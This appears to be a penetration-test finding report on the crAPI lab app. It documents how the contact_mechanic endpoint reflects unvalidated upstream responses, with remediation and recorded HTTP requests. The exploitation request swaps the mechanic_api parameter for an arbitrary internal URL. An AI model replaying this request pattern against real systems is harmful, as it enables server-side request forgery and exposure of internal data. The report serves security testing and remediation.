Vulnerability
[FAIL] Unsafe Consumption of APIs - Workshop - Contact Mechanic Upstream
Description
The contact_mechanic endpoint consumes the response from the mechanic API (a client-controlled URL) and reflects it back to the user without validating or filtering its structure or content. The application implicitly trusts data from the upstream API.
Impact
Confidentiality & Integrity: untrusted upstream data (which the attacker can control) is reflected/processed as-is; this can be used to exfiltrate internal responses or inject content the application trusts.
CWE
CWE-20: Improper Input Validation (related to CWE-345: Insufficient Verification of Data Authenticity)
OWASP
API10:2023 - Unsafe Consumption of APIs
Scenario
Normal: the workshop consumes a legitimate mechanic API. Exploitation: the upstream URL is swapped for an arbitrary one -> the raw response is reflected without validation.
Endpoint
POST http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic
Affected feature
Contact Mechanic / mechanic API integration (crapi-workshop)
Remediation
- Validate and filter upstream responses (schema, content type) before processing/reflecting them.
- Restrict upstream destinations to a trusted allow-list (see also the SSRF finding).
- Do not reflect raw responses to the client.
Proof of concept
- (Screenshot 1) NORMAL: contact_mechanic consumes the mechanic API and includes its response.
- (Screenshot 2) EXPLOITATION: change mechanic_api to an arbitrary URL -> the workshop reflects the raw upstream response without validation (unsafe consumption).
The complete record
LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.
Normal: include the mechanic API response
Normal: the workshop calls the mechanic API and includes its response in response_from_mechanic_api without checking the response structure.
HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code":"TRAC_JHN","problem_details":"x","mechanic_api":"http://127.0.0.1:8888/workshop/api/mechanic/","number_of_repeats":1,"vin":"861P9NB3CL6ZEA9X1"}
HTTP response
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 270
{
"response_from_mechanic_api": {
"mechanics": [
{
"id": 1,
"mechanic_code": "TRAC_JHN",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
},
{
"id": 2,
"mechanic_code": "TRAC_JME",
"user": {
"email": "[REDACTED-EMAIL]",
"number": ""
}
}
],
"previous_offset": null,
"next_offset": null
},
"status": 200
}
Impact: unvalidated upstream response returned
Impact: the upstream URL can be changed freely. The workshop fetches and returns the raw response, including HTML or errors, without validation. It therefore trusts upstream data controlled by the attacker.
HTTP request
POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
{"mechanic_code":"TRAC_JHN","problem_details":"x","mechanic_api":"http://127.0.0.1:8888/community/api/v2/community/posts/recent","number_of_repeats":1,"vin":"861P9NB3CL6ZEA9X1"}
HTTP response
HTTP/1.1 404 Not Found
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 237
{
"response_from_mechanic_api": "\n<!doctype html>\n<html lang=\"en\">\n<head>\n <title>Not Found</title>\n</head>\n<body>\n <h1>Not Found</h1><p>The requested resource was not found on this server.</p>\n</body>\n</html>\n",
"status": 404
}
← Previous case: Unrestricted Resource Consumption - Authentication - Login Rate Limiting